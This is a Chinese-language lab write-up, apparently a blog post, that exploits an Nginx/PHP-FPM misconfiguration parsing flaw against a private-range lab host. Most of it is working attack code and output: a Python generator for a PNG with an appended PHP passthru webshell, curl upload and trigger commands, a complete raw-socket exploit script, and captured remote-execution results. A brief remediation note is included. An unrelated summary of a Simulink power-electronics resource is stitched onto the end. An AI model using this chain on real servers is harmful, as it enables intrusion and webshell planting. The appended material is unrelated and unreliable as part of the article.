Nginx 解析漏洞利用总结

漏洞信息

项目内容
漏洞类型Nginx配置不当导致文件解析漏洞
靶场版本Nginx 1.11.13 + PHP 7.1.3
影响范围任何使用不安全配置的Nginx+PHP环境
靶机地址http://192.168.229.60
暴露端口80

漏洞原理

该漏洞与 Nginx、PHP 版本无关,属于用户配置不当造成的解析漏洞。

Nginx 配置中通过 location ~ \.php$ 将 PHP 文件交给 PHP-FPM 处理:

location ~ \.php$ {
    fastcgi_index  index.php;
    include        fastcgi_params;
    fastcgi_param  SCRIPT_FILENAME  /var/www/html$fastcgi_script_name;
    fastcgi_param  DOCUMENT_ROOT /var/www/html;
    fastcgi_pass   php:9000;
}

当请求 shell.png/.php 时:

GET /uploadfiles/shell.png/.php HTTP/1.1
                    ↑  Nginx 匹配到 \.php$ → 传给 PHP-FPM
                      PHP-FPM 收到 SCRIPT_FILENAME = /var/www/html/uploadfiles/shell.png
                      发现 .php 后缀 → 尝试执行 shell.png 中的 PHP 代码
  • Nginx 的 \.php$ 匹配到 .php 结尾 → 传给 PHP-FPM

  • PHP-FPM 中的 cgi.fix_pathinfo=1 导致 PHP 去除 /.php 后缀,实际执行的是 shell.png

  • PNG 文件中的 PHP 代码被成功执行

攻击步骤

Step 1:制作合法的PNG图片并嵌入PHP代码

创建一个 1x1 像素的合法 PNG 文件,并在末尾追加 PHP webshell:

import struct, zlib
​
# PNG header
sig = b'\x89PNG\r\n\x1a\n'
# IHDR chunk (1x1 RGB)
ihdr_data = struct.pack('>IIBBBBB', 1, 1, 8, 2, 0, 0, 0)
ihdr = struct.pack('>I', 13) + b'IHDR' + ihdr_data + struct.pack('>I', zlib.crc32(b'IHDR' + ihdr_data) & 0xffffffff)
# IDAT chunk
raw_data = zlib.compress(b'\x00\xff\x00\x00')
idat = struct.pack('>I', len(raw_data)) + b'IDAT' + raw_data + struct.pack('>I', zlib.crc32(b'IDAT' + raw_data) & 0xffffffff)
# IEND chunk
iend = struct.pack('>I', 0) + b'IEND' + struct.pack('>I', zlib.crc32(b'IEND') & 0xffffffff)
​
# 合成PNG
png_data = sig + ihdr + idat + iend
​
# 在PNG后面追加PHP代码(用passthru替代system,避免参数类型报错)
php_code = b'<?php passthru($_GET["cmd"]); ?>'
webshell = png_data + php_code
​
with open('s.png', 'wb') as f:
    f.write(webshell)

注意: 使用 passthru()system() 更稳定。system("$_GET['cmd']") 在某些场景下会报 "expects parameter 1 to be string, array given" 错误。

Step 2:上传webshell

上传这个嵌入PHP代码的合法PNG图片:

curl -s -F "file_upload=@s.png" http://192.168.229.60/index.php

上传验证逻辑:

// getimagesize() 检测是否合法图片
if(!getimagesize($_FILES['file_upload']['tmp_name'])){
    die('Please ensure you are uploading an image.');
}
// 白名单检测扩展名
$ext = pathinfo($_FILES['file_upload']['name'], PATHINFO_EXTENSION);
if (!in_array($ext, ['gif', 'png', 'jpg', 'jpeg'])) {
    die('Unsupported filetype uploaded.');
}
  • getimagesize() 检测通过 ✅(文件是合法PNG)

  • pathinfo() 扩展名检测 → .png → 白名单通过 ✅

文件名重命名规则:

$new_name = __DIR__ . '/uploadfiles/' . md5($_FILES['file_upload']['name']) . ".{$ext}";

上传后文件名变为 md5("s.png") + ".png"

Step 3:利用解析漏洞执行代码

# 用md5sum算文件名
FN=$(echo -n "s.png" | md5sum | cut -d' ' -f1)
​
# 触发解析漏洞
curl "http://192.168.229.60/uploadfiles/${FN}.png/.php?cmd=id" --output - 2>/dev/null

Step 4:验证RCE

$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
​
$ cat /etc/os-release
PRETTY_NAME="Debian GNU/Linux 8 (jessie)"

Python版完整利用脚本

import struct, zlib, hashlib, socket
​
# 1. 生成合法PNG + PHP webshell
sig = b'\x89PNG\r\n\x1a\n'
ihdr_data = struct.pack('>IIBBBBB', 1, 1, 8, 2, 0, 0, 0)
ihdr = struct.pack('>I', 13) + b'IHDR' + ihdr_data + struct.pack('>I', zlib.crc32(b'IHDR' + ihdr_data) & 0xffffffff)
raw_data = zlib.compress(b'\x00\xff\x00\x00')
idat = struct.pack('>I', len(raw_data)) + b'IDAT' + raw_data + struct.pack('>I', zlib.crc32(b'IDAT' + raw_data) & 0xffffffff)
iend = struct.pack('>I', 0) + b'IEND' + struct.pack('>I', zlib.crc32(b'IEND') & 0xffffffff)
png_data = sig + ihdr + idat + iend + b'<?php passthru($_GET["cmd"]); ?>'
​
# 2. 上传
s = socket.socket()
s.connect(('192.168.229.60', 80))
boundary = b'----B'
body = (b'--' + boundary + b'\r\n' +
        b'Content-Disposition: form-data; name="file_upload"; filename="s.png"\r\n' +
        b'Content-Type: image/png\r\n\r\n' +
        png_data + b'\r\n' +
        b'--' + boundary + b'--\r\n')
req = (b'POST /index.php HTTP/1.1\r\nHost: 192.168.229.60\r\n' +
       b'Content-Type: multipart/form-data; boundary=' + boundary + b'\r\n' +
       b'Content-Length: ' + str(len(body)).encode() + b'\r\nConnection: close\r\n\r\n' + body)
s.send(req)
s.close()
​
# 3. 触发解析漏洞
md5name = hashlib.md5(b's.png').hexdigest()
s2 = socket.socket()
s2.connect(('192.168.229.60', 80))
req2 = (f'GET /uploadfiles/{md5name}.png/.php?cmd=id HTTP/1.1\r\n'
        f'Host: 192.168.229.60\r\nConnection: close\r\n\r\n').encode()
s2.send(req2)
resp = b''
while True:
    try:
        d = s2.recv(4096)
        if not d: break
        resp += d
    except: break
s2.close()
print(resp.decode('utf-8', errors='replace'))

Nginx 原始配置文件

server {
    listen 80 default_server;
    listen [::]:80 default_server;
    root /usr/share/nginx/html;
    index index.html index.php;
    server_name _;
​
    location / {
        try_files $uri $uri/ =404;
    }
​
    location ~ \.php$ {
        fastcgi_index index.php;
        include fastcgi_params;
        fastcgi_param  REDIRECT_STATUS    200;
        fastcgi_param  SCRIPT_FILENAME /var/www/html$fastcgi_script_name;
        fastcgi_param  DOCUMENT_ROOT /var/www/html;
        fastcgi_pass php:9000;
    }
}

PHP 上传代码

<?php
if (!empty($_FILES)):
    // getimagesize() 检测是否合法图片
    if(!getimagesize($_FILES['file_upload']['tmp_name'])){
        die('Please ensure you are uploading an image.');
    }
    // 白名单检测扩展名
    $ext = pathinfo($_FILES['file_upload']['name'], PATHINFO_EXTENSION);
    if (!in_array($ext, ['gif', 'png', 'jpg', 'jpeg'])) {
        die('Unsupported filetype uploaded.');
    }
    // 重命名:MD5(name).扩展名
    $new_name = __DIR__ . '/uploadfiles/' . md5($_FILES['file_upload']['name']) . ".{$ext}";
    move_uploaded_file($_FILES['file_upload']['tmp_name'], $new_name);
    die('File uploaded successfully: ' . $new_name);
endif;
?>
<form method="post" enctype="multipart/form-data">
    File: <input type="file" name="file_upload">
    <input type="submit">
</form>

关键要点总结

  1. /.php后缀触发解析:Nginx匹配\.php$后将非法PHP文件交给PHP-FPM执行

  2. PHP的cgi.fix_pathinfo=1:PHP自动删除路径中的/.php,尝试执行前面的文件

  3. 合法PNG+PHP代码:PNG是合法的(getimagesize()通过),但末尾的PHP代码被PHP解释器执行

  4. 与CVE-2013-4547的区别:这里不需要空格、空字节、原始socket,URL路径直接用

  5. 上传后文件名重命名md5(filename).ext,需计算MD5才能找到文件路径

  6. passthru替代system:此处使用passthru()system()更稳定,避免参数类型报错

  7. ⚠️ 该漏洞不是Nginx或PHP的代码漏洞,纯属配置不当。升级软件无法修复,需修改配置(如security.limit_extensions

验证结果

$ curl "http://192.168.229.60/uploadfiles/f7e9f256e015b7895623b123d13d2917.png/.php?cmd=id" --output - 2>/dev/null
PNG...
​
IHDwS
 ݉DATxc󾁁ʾND®B`uid=33(www-data) gid=33(www-data) groups=33(www-data)
​
$ curl "http://192.168.229.60/uploadfiles/f7e9f256e015b7895623b123d13d2917.png/.php?cmd=whoami" --output - 2>/dev/null
PNG...B`www-data
​
$ curl "http://192.168.229.60/uploadfiles/f7e9f256e015b7895623b123d13d2917.png/.php?cmd=hostname" --output - 2>/dev/null
PNG...B`79a73f4f4d3a

内容概要:本文介绍了一个关于三相桥式全控整流及有源逆变电路的实验仿真模型,重点研究三相整流器与逆变器在Simulink环境下的建模与仿真技术。内容涵盖电力电子变换器的工作原理、控制策略设计、系统动态响应分析,并进一步扩展至10kV配电网中不同中性点接地方式(中性点不接地、经小电阻接地、经消弧线圈接地)下的单相、两相短路接地及相间短路故障的仿真研究,全面呈现了电力系统典型故障的暂态特性。此外,文档还整合了丰富的科研资源,涵盖电力系统优化、新能源并网、故障诊断、微电网调度等多个前沿方向,充分体现了Matlab/Simulink在电气工程仿真中的核心地位和广泛应用价值。; 适合人群:电气工程、自动化、电力电子等相关专业的高校学生、科研人员及工程技术人员,具备一定的电路理论基础和仿真软件操作经验者更佳。; 使用场景及目标:①用于教学实验中帮助理解三相整流与逆变电路的工作机制;②支撑科研项目中对电力系统故障特性的建模与分析;③作为开发新型控制算法(如PWM控制、低电压穿越等)的仿真验证平台;④辅助完成毕业设计、课题研究或工程方案评估; 阅读建议:此资源以Simulink仿真实现为核心,强调理论与实践结合,建议读者在学习过程中同步搭建模型,动手调试参数,深入理解各模块功能与系统整体行为,同时可参考文中提供的完整资源链接拓展研究视野。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值